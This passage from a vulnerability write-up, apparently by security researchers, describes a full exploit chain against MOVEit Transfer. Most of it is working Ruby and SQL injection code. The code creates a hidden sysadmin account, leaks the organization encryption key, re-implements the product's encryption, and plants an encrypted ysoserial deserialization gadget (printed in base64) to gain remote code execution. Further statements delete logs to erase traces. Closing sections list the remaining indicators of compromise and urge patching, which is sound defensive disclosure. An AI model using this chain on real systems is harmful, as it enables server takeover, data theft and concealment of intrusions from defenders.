hax_loginname = rand_string(8)
hax_password = rand_string(8)

With a known password generated and hashed into the correct format, we can create a new sysadmin user by leveraging the SQLi with the following statements.

	"INSERT INTO moveittransfer.users (Username) VALUES ('#{hax_username}')",

	"UPDATE moveittransfer.users SET LoginName='#{hax_loginname}' WHERE Username='#{hax_username}'",

	"UPDATE moveittransfer.users SET InstID='#{instid}' WHERE Username='#{hax_username}'",

	"UPDATE moveittransfer.users SET Password='#{makev1password(hax_password, rand_string(4))}' WHERE Username='#{hax_username}'",

	"UPDATE moveittransfer.users SET Permission='40' WHERE Username='#{hax_username}'",

	"UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='#{hax_username}'",

Get an API Token

We can now use our new sysadmin account and login to the REST API using the username and password we just created. A POST request to the /api/v1/token endpoint (as documented here) will return an access_token which will allow us to call all the available REST APIs.

token_response = HTTParty.post(
	"#{TARGET}/api/v1/token",
	verify: false,
	headers: {
		'Content-Type' => 'application/x-www-form-urlencoded',
	},
	follow_redirects: false,
	body: "grant_type=password&username=#{hax_loginname}&password=#{hax_password}",
)

if token_response.code != 200
	raise "Couldn't get API token (#{token_response.body})"
end

token_json = JSON.parse(token_response.body)

log("Got API access token='#{token_json['access_token']}'.")

Find a Folder ID

To perform a file upload we must first know the ID number of a folder within MOVEit Transfer. Calling the API endpoint /api/v1/folders will return a JSON array of folders in the system, allowing us to locate a suitable folder ID.

folders_response = HTTParty.get(
	"#{TARGET}/api/v1/folders",
	verify: false,
	headers: {
		'Authorization' => "Bearer #{token_json['access_token']}",
	},
	follow_redirects: false,
)

if folders_response.code != 200
	raise "Couldn't get API folders (#{folders_response.body})"
end

folders_json = JSON.parse(folders_response.body)

log("Found folderId '#{folders_json['items'][0]['id']}'.")

Begin a Resumable File Upload

The deserialization vulnerability we want to target occurs during the resumption of a file upload. Therefore to reach this code path we must first begin a new resumable file upload by calling the endpoint /api/v1/folders/{id}/files?uploadType=resumable. This will create an entry in the database table moveittransfer.files to store metadata about the file being uploaded, and the table moveittransfer.fileuploadinfo to store state information about the file upload.

uploadfile_name = rand_string(8)
uploadfile_size = 8
uploadfile_data = rand_string(uploadfile_size)

files_response = HTTParty.post(
	"#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable",
	verify: false,
	headers: {
		'Authorization' => "Bearer #{token_json['access_token']}",
	},
	follow_redirects: false,
	multipart: true,
	body: {
		name: uploadfile_name,
		size: (uploadfile_size).to_s,
		comments: ''
	}
)

if files_response.code != 200
	raise "Couldn't post API files #1 (#{files_response.body})"
end

files_json = JSON.parse(files_response.body)

log("Initiated resumable file upload for fileId '#{files_json['fileId']}'...")

Leak the Encryption Key

The resumable file uploads state information is stored as an encrypted serialized .NET object within the State field in the moveittransfer.fileuploadinfo table. In order to be able to plant a malicious deserialization gadget in this State field we must be able to encrypt it. MOVEit Transfer will use an encryption key specific to the organization that the file is being uploaded to. The organization is typically identified by the InstID value during API or database requests. As we are using a sysadmin account we will need to leak out the encryption key for the organization with an InstID of 0.

While this encryption key is stored in the Windows Registry, which we cannot access, fortunately for us a copy of the key is stored in the database table moveittransfer.registryaudit with a KeyName of Standard Networks\siLock\Institutions\0. Of note is the MOVEit Transfer SSH private key is also stored in this table!

We can leak out the encryption key (or any other value in the database if we want) by leveraging the SQLi to write the value we want to leak into the metadata of the resumable file we are uploading, and then use the REST API to read back out the metadata. Specifically the following SQL will write the encryption key into the files metadata field UploadAgentBrand. As our SQLi cannot include a forward slash character (\) due to it being escaped, we search for the target entry via the CHAR_LENGTH function. This works as all other InstId values that are not 0 will be an integer with more than 1 character, allowing us to identify the desired entry by searching for a KeyName with a specific length.

"UPDATE moveittransfer.files SET UploadAgentBrand=(SELECT PairValue FROM moveittransfer.registryaudit WHERE PairName='Key' AND CHAR_LENGTH(KeyName)=#{'Standard Networks\siLock\Institutions\0'.length}) WHERE ID='#{files_json['fileId']}'"

We can then leak out the encryption key with a GET request to the /api/v1/files/{id} endpoint.

leak_response = HTTParty.get(
	"#{TARGET}/api/v1/files/#{files_json['fileId']}",
	verify: false,
	headers: {
		'Authorization' => "Bearer #{token_json['access_token']}",
	},
	follow_redirects: false,
)

if leak_response.code != 200
	raise "Couldn't post API files #LEAK (#{leak_response.body})"
end

leak_json = JSON.parse(leak_response.body)

org_key = leak_json['uploadAgentBrand']

log("Leaked the Org Key: #{org_key}")

An example of a leaked 16 byte encryption key is 0B 52 CA 0B FA 01 6F 19 5E D3 61 B1 B9 2A DA 75.

Encrypt a Deserialization Gadget

The unsafe .NET deserialization occurs within the MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler method during a BinaryFormatter.Deserializecall.

// MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
{
      // …snip…
      using (MemoryStream serializationStream = new MemoryStream(this._uploadState))
        return (FileTransferStream) new BinaryFormatter()
        {
          Context = new StreamingContext(StreamingContextStates.All, (object) additional)
        }.Deserialize((Stream) serializationStream); // <----

As such, we must identify a deserialization gadget that will work in the context of the MOVEit Transfer IIS Worker Process. Luckily we do not need to write a custom deserialization gadget, and instead can leverage the ysoserial.net tool to generate a suitable gadget. The TextFormattingRunProperties gadget formatted for a BinaryFormatter will achieve RCE when deserialized. We can generate this gadget to execute the command notepad.exe as follows:

> ysoserial.exe --command=notepad.exe -o base64 -f BinaryFormatter -g TextFormattingRunProperties

A base64 encoded gadget will be emitted:

AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=

However we must now encrypt this gadget using the leaked organization key before we write it into the database.

After much reverse engineering, we identify the encryption algorithm to be AES-256-CBC (As defined by MOVEit.Crypto.AesMOVEitCryptoTransform) with a 16 byte Initialization Vector (IV) composed of the first 4 bytes of the SHA1 hash of the organization encryption key, repeated 4 times. The encryption key passed to AES is a 32 byte key composed of a static 12 byte value, the 16 byte organization key we leak and 4 null bytes. The static 12 byte value generated during MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey and orgId in this instance will be -1.

    // MOVEit.DMZ.Core.Cryptography.Encryption
    private static byte[] GetDatabaseEncryptionKey(int orgId, BaseKey baseKey)
    {
      byte[] sourceArray = ByteArrayUtility.Concat(ByteArrayUtility.Convert.FromHex(new CGetK().DoD(orgId >= 0 ? "u5RcVwB0hSLnaRdL14UmfCpj" : "Pm6XfoTpbShD8y2bcTWfGyBB")), baseKey.KeyBytes);
      byte[] destinationArray = new byte[32];
      Array.Copy((Array) sourceArray, (Array) destinationArray, sourceArray.Length);
      return destinationArray;
    }

An encrypted value is formatted with a simple header structure defined by MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader, that comprises a version number, a two byte hash of the data, a 4 bytes hash of the key used and the first 4 bytes of the IV (as the IV repeated 4 times, so it doesn’t need to stor all 16 bytes). Finally the header and encrypted data are base64 encoded and a tag value of @%! is prepended.

MOVEit Transfer will call DBFieldEncrypt when writing an encrypted string to the database and there is a decryption counterpart called DBFieldDecrypt. We can see that a call to DBFieldEncrypt will force the orgId to be -1 which will influence both the static value chosen during GetDatabaseEncryptionKey as well as forcing the organization 0 key to be used via the call to Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0), hence why we choose to leak the organization 0 encryption key.

public string DBFieldEncrypt(string plainText) => Encryption.EncryptStringForDatabase(plainText);

    public static string EncryptStringForDatabase(string plainText, int orgId = -1) => !string.IsNullOrEmpty(plainText) ? Encryption.EncryptBytesForDatabase(MOVEit.DMZ.Core.Constants.Utf8Encoding.GetBytes(plainText), orgId) : string.Empty;

    // MOVEit.DMZ.Core.Cryptography.Encryption
    public static string EncryptBytesForDatabase(byte[] plainText, int orgId = -1, bool utf = true)
    {
      bool flag = orgId >= 0;
      OrgKey orgKey = Encryption._orgKeyProvider.GetOrgKey(flag ? orgId : 0);
      byte[] databaseEncryptionKey = Encryption.GetDatabaseEncryptionKey(orgId, (BaseKey) orgKey);
      string str = Encryption.EncryptBytes(plainText, databaseEncryptionKey, orgKey.IdBytes);
      return (utf ? (flag ? "#@%" : "@%!") : (flag ? "#%" : "@!")) + str;
    }

    private static string EncryptBytes(byte[] plainText, byte[] key, byte[] keyId = null)
    {
      keyId = keyId ?? new byte[4];
      try
      {
        BaseKey baseKey = new BaseKey()
        {
          KeyBytes = key,
          IdBytes = keyId
        };
        using (MemoryHeaderStream baseStream = new MemoryHeaderStream())
        {
          using (EncryptedStream encryptionStream = Encryption._stringEncryptionStreamFactory.GetEncryptionStream((FileHeaderStream) baseStream, baseKey))
          {
            encryptionStream.Write(plainText, 0, plainText.Length);
            encryptionStream.Finish();
            return System.Convert.ToBase64String(baseStream.ToArray());
          }
        }
      }
      catch (Exception ex)
      {
        throw new CryptographicException("Error encrypting data: " + ex.Message, ex);
      }
    }

Putting this all together we can now encrypt our deserialization gadget with the following:

def moveitv2encrypt(data, org_key, iv=nil, tag='@%!')

	raise "org_key must be 16 bytyes" if org_key.length != 16

	if iv.nil?
		iv = rand_string(4)
		# as we only store the first 4 bytes in the header, the IV must be a repeating 4 byte sequence.
		iv = iv * 4
	end

	# MOVEit.DMZ.Core.Cryptography.Encryption.GetDatabaseEncryptionKey
	key = [64, 131, 232, 51, 134, 103, 230, 30, 48, 86, 253, 157].pack('C*')

	key = key + org_key

	key = key + [0, 0, 0, 0].pack('C*')

	# MOVEit.Crypto.AesMOVEitCryptoTransform
	cipher = OpenSSL::Cipher.new('AES-256-CBC')

	cipher.encrypt

	cipher.key = key

	cipher.iv = iv

	encrypted_data = cipher.update(data) + cipher.final

	data_sha1_hash = Digest::SHA1.digest(data).unpack('C*')

	org_key_sha1_hash = Digest::SHA1.digest(org_key).unpack('C*')

	# MOVEit.DMZ.Core.Cryptography.Providers.MOVEit.MOVEitV2EncryptedStringHeader
	header = [
		225, # MOVEitV2EncryptedStringHeader
		0,
		data_sha1_hash[0],
		data_sha1_hash[1],
		org_key_sha1_hash[0],
		org_key_sha1_hash[1],
		org_key_sha1_hash[2],
		org_key_sha1_hash[3],
		iv.unpack('C*')[0],
		iv.unpack('C*')[1],
		iv.unpack('C*')[2],
		iv.unpack('C*')[3],
	].pack('C*')

	# MOVEit.DMZ.Core.Cryptography.Encryption.EncryptBytesForDatabase
	return tag + Base64.strict_encode64(header + encrypted_data)
end

org_key.gsub!(' ', '')

org_key = [org_key].pack('H*').bytes.to_a.pack('C*')

deserialization_gadget = moveitv2encrypt(gadget, org_key)

log("Encrypted the gadget with Org Key: #{deserialization_gadget}")

Plant the Gadget

We can leverage the SQLi to write the encrypted deserialization gadget into the State field of the moveittransfer.fileuploadinfo table for the resumable file we have begun to upload, via the following SQL.

"UPDATE moveittransfer.fileuploadinfo SET State='#{deserialization_gadget}' WHERE FileID='#{files_json['fileId']}'"

Unsafe Deserialization

By performing a PUT request to the /api/v1/folders/{id}/files?uploadType=resumable&fileId={id} API endpoint we will execute the method MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream.

log("Triggering gadget deserialization...")

files_response = HTTParty.put(
	"#{TARGET}/api/v1/folders/#{folders_json['items'][0]['id']}/files?uploadType=resumable&fileId=#{files_json['fileId']}",
	verify: false,
	headers: {
		'Authorization' => "Bearer #{token_json['access_token']}",
		'Content-Type' => "application/octet-stream",
		'Content-Range' => "bytes 0-#{uploadfile_size-1}/#{uploadfile_size}",
		'X-File-Hash' => Digest::SHA1.hexdigest(uploadfile_data),
	},
	follow_redirects: false,
	body: uploadfile_data[0,uploadfile_data.length]
)

# 500 if payload runs :)
if files_response.code != 500
	raise "Couldn't post API files #2 code=#{files_response.code} (#{files_response.body})"
end

log("Gadget deserialized, RCE Achieved!")

The method GetUploadStream first calls GetFileUploadInfo to decrypt the file upload State stored in the database. This is the field that holds our encrypted deserialization gadget. The decrypted gadget is stored in the _uploadState member variable. Next a call to DeserializeFileUploadStream occurs. This method will create a new BinaryFormatter instance and deserialize our malicious gadget, allowing us to achieve RCE.

    // MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler
    public Stream GetUploadStream(FolderUploadFilePartRequest request)
    {
      this._folderId = request.Id;
      this._fileId = request.FileId;
      this._range = request.UploadRange;
      this._fileHash = request.FileHash;
      this._chunkSize = request.ChunkSize;
      if (!this.CheckIsFolderIdExists() || !this.CheckIsFileExists() || !this.GetFileUploadInfo() || !this.CheckRange()) // <---- read the gadget
        return Stream.Null;
      this._sendBytes = ((long?) this._range?.From).GetValueOrDefault();
      if (!this._activeTransfersUpdateService.InitStatusConnection())
        this._xferId = -1L;
      this._fileUploadStream = this.DeserializeFileUploadStream(new DataFilePath(this._orgId, this._targetFolderId, this._fileId));// <---- deserialize the gadget
      this.SubscribeToStreamEvents();
      return (Stream) this._fileUploadStream;
    }

    private bool GetFileUploadInfo()
    {
      string tableNameAttribute1 = SqlTable.FileUploadInfo.GetTableNameAttribute();
      string tableNameAttribute2 = SqlTable.Files.GetTableNameAttribute();
      SILDictionary<string, string> silDictionary = new SQLBasicBuilder(this._globals.objWrap, SqlTable.FileUploadInfo).AddColumnToSelect(tableNameAttribute1, "Comment").AddColumnToSelect(tableNameAttribute1, "XferID").AddColumnToSelect(tableNameAttribute1, "State").AddLeftJoin(tableNameAttribute2, tableNameAttribute2 + ".ID=" + tableNameAttribute1 + ".FileID").AddAndToWhere(tableNameAttribute1 + ".FileID='" + this._fileId + "'").AddAndToWhere(tableNameAttribute2 + ".UploadUsername='" + this._currentUser.Username + "'").SelectQueryRow();
      if (silDictionary == null)
      {
        this.SetParameterError(3800, 90512, this._fileId);
        return false;
      }
      this._originalUploadComment = this._globals.objUtility.DBFieldDecrypt(silDictionary["Comment"]);
      this._xferId = long.Parse(silDictionary["XferID"]);
      this._uploadState = System.Convert.FromBase64String(this._globals.objUtility.DBFieldDecrypt(silDictionary["State"])); // <---- decrypt our gadget and store it in _uploadState
      return true;
    }

    private FileTransferStream DeserializeFileUploadStream(DataFilePath filePath)
    {
      if (this._uploadState.Length == 0)
        return this.CreateFileUploadStream(filePath);
      int num = 1;
      FileHeaderStream additional;
      while (true)
      {
        try
        {
          additional = this._fileSystem.OpenWrite((FilePath) filePath);
          break;
        }
        catch (IOException ex)
        {
          this._globals.objDebug.Log(LogLev.SomeDebug, string.Format("{0}: Error opening file {1} for writing (try {2} of {3}): {4}", (object) nameof (ResumableUploadFilePartHandler), (object) filePath, (object) num, (object) 10, (object) ex.Message));
          if (num == 10)
          {
            throw;
          }
          else
          {
            Thread.Sleep(1000);
            ++num;
          }
        }
      }
      using (MemoryStream serializationStream = new MemoryStream(this._uploadState))
        return (FileTransferStream) new BinaryFormatter()
        {
          Context = new StreamingContext(StreamingContextStates.All, (object) additional)
        }.Deserialize((Stream) serializationStream); // <---- b00m!
    }

Delete the IOC’s

Finally after RCE has been achieved an attacker can clear almost all Indicators of Compromise (IOC) by leveraging the SQLi to perform the following statements.

	"DELETE FROM moveittransfer.fileuploadinfo WHERE FileID='#{files_json['fileId']}'", # delete the deserialization payload

	"DELETE FROM moveittransfer.files WHERE UploadUsername='#{hax_username}'", # delete the file we uploaded

	"DELETE FROM moveittransfer.activesessions WHERE Username='#{hax_username}'", #

	"DELETE FROM moveittransfer.users WHERE Username='#{hax_username}'", # delete the user account we created

	"DELETE FROM moveittransfer.log WHERE Username='#{hax_username}'", # The web ASP stuff logs by username

	"DELETE FROM moveittransfer.log WHERE Username='#{hax_loginname}'", # The API logs by loginname

	"DELETE FROM moveittransfer.log WHERE Username='Guest:#{MYGUESTEMAILADDR}'", # The SQLi generates a guest log entry.

Indicators of Compromise

As we have seen, an attacker can leverage the SQLi to clear the database of almost all IOC’s. However there is one entry in the database the attacker cannot clear. When performing the final SQLi to delete all IOCs from the database, a single log entry will remain. This log entry is generated after the SQLi is performed and as such cannot be deleted via SQLi.

Notably the log entry will have an Action of msg_post and will contain the IP address of the attacker in the IPAddress field and a timestamp in the LogTime field. The other fields may contain values the attacker used when performing the SQLi, such as the MyGuestEmailAddr value from the forged package used during SQLi.

mysql> SELECT * FROM moveittransfer.log;
+-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+
| ID  | LogTime             | Action   | InstID | Username                    | FolderID  | FileID | IPAddress     | Error | Parm1 | Parm2 | Parm3 | Parm4 | Message                                         | AgentBrand | AgentVersion | XferSize | Duration | FileName | FolderPath                 | ResilNode | TargetID | TargetName | Hash                                     | Cert | VirtualFolderID | VirtualFolderPath          | CScanName | InterfaceType | SuppressName |
+-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+
| 949 | 2023-06-13 01:41:39 | msg_post |   1234 | Guest:FPEXINWQ@TBTYAGYC.com | 963548454 | 0      | 192.168.86.35 |  4400 |       | 0     |       |       | Package must have at least one valid recipient. | Ruby       |              |        0 |        0 |          | /Messages/Global Messaging |         0 |          |            | 7765745e3ccc90e998a0adc749c3e66cd470315c |      |       963548454 | /Messages/Global Messaging |           |            10 |            0 |
+-----+---------------------+----------+--------+-----------------------------+-----------+--------+---------------+-------+-------+-------+-------+-------+-------------------------------------------------+------------+--------------+----------+----------+----------+----------------------------+-----------+----------+------------+------------------------------------------+------+-----------------+----------------------------+-----------+---------------+--------------+
1 row in set (0.01 sec)

A strong IOC may be present in the log file C:\MOVEitTransfer\Logs\DMZ_WebApi.log. During deserialization of the malicious gadget an exception of type TargetInvocationException will be thrown and the call stack will show the method MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream which we know to be the method that contains the deserialization vulnerability.

2023-06-12 03:51:34.455 #0D z10 MOVEitApiExceptionLogger: Caught exception of type TargetInvocationException: Exception has been thrown by the target of an invocation.
Stack trace:
   at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
   at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
   at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
   at System.Runtime.Serialization.ObjectManager.DoFixups()
   at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
   at MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.DeserializeFileUploadStream(DataFilePath filePath)
   at MOVEit.DMZ.Application.Folders.ResumableUploadFilePartHandler.GetUploadStream(FolderUploadFilePartRequest request)
   at MOVEit.DMZ.WebApi.Controllers.FolderContentController.<UploadFilePart>d__13.MoveNext()

Guidance

If you run this software, we strongly recommend deploying this patch immediately, and validate whether you have already been compromised as outlined in our blog.

References